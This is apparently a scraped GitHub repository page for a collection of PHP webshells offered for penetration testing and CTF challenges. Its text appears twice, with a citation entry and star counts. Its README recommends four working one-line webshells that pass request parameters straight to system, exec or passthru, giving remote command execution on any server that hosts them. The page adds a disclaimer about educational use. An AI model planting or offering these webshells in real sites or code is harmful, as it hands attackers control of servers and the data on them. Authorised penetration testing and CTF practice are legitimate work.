Common PHP webshells you might need for your Penetration Testing assignments or CTF challenges. Do not host the file(s) on your server!
PHP
1,961
4 commits
updated Mar 3, 2021
To contribute other shells not listed here... Fork, Push the changes to your repo, then before you request for a Pull, make sure to include a simple description of your php web-shell and include a screen-shot of the web-shell (as hosted in your localhost).
Common PHP shells is a collection of PHP webshells that you may need for your penetration testing (PT) cases or in a CTF challenge.
Do not host any of the files on a publicly-accessible webserver (unless you know what you are up-to).
These are provided for education purposes only and legitimate PT cases.
I'll keep updating the collection whnever I stumble on any new webshell.
For basic features, I recommend one-liners like :
<?php echo passthru($_GET['cmd']); ?>
<?php echo exec($_POST['cmd']); ?>
<?php system($_GET['cmd']); ?>
<?php passthru($_REQUEST['cmd']); ?>
@software{jacques_pharand_2020_3748072,
author = {Jacques Pharand and
John Troon and
Javier Izquierdo Vera},
title = {JohnTroony/php-webshells: Collection CS1},
month = apr,
year = 2020,
publisher = {Zenodo},
version = {1.1},
doi = {10.5281/zenodo.3748072},
url = {https://doi.org/10.5281/zenodo.3748072}
}
6,292 followers · starred Aug 2014
1,492 followers · starred Aug 2014
487 followers · starred Aug 2014
4 followers · starred Jan 2015
Common PHP webshells you might need for your Penetration Testing assignments or CTF challenges. Do not host the file(s) on your server!
PHP
1,961
4 commits
updated Mar 3, 2021
To contribute other shells not listed here... Fork, Push the changes to your repo, then before you request for a Pull, make sure to include a simple description of your php web-shell and include a screen-shot of the web-shell (as hosted in your localhost).
Common PHP shells is a collection of PHP webshells that you may need for your penetration testing (PT) cases or in a CTF challenge.
Do not host any of the files on a publicly-accessible webserver (unless you know what you are up-to).
These are provided for education purposes only and legitimate PT cases.
I'll keep updating the collection whnever I stumble on any new webshell.
For basic features, I recommend one-liners like :
<?php echo passthru($_GET['cmd']); ?>
<?php echo exec($_POST['cmd']); ?>
<?php system($_GET['cmd']); ?>
<?php passthru($_REQUEST['cmd']); ?>
@software{jacques_pharand_2020_3748072,
author = {Jacques Pharand and
John Troon and
Javier Izquierdo Vera},
title = {JohnTroony/php-webshells: Collection CS1},
month = apr,
year = 2020,
publisher = {Zenodo},
version = {1.1},
doi = {10.5281/zenodo.3748072},
url = {https://doi.org/10.5281/zenodo.3748072}
}
6,292 followers · starred Aug 2014
1,492 followers · starred Aug 2014
487 followers · starred Aug 2014
4 followers · starred Jan 2015